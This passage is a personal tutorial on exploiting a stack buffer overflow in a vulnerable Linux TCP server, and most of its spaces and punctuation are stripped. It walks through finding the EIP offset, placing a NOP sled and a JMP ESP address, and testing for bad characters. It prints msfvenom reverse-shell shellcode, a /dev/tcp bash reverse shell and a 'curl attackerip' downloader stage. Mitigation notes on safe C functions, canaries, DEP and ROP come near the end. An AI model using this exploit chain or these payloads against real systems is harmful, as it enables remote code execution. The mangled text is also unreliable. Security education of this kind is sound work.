mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
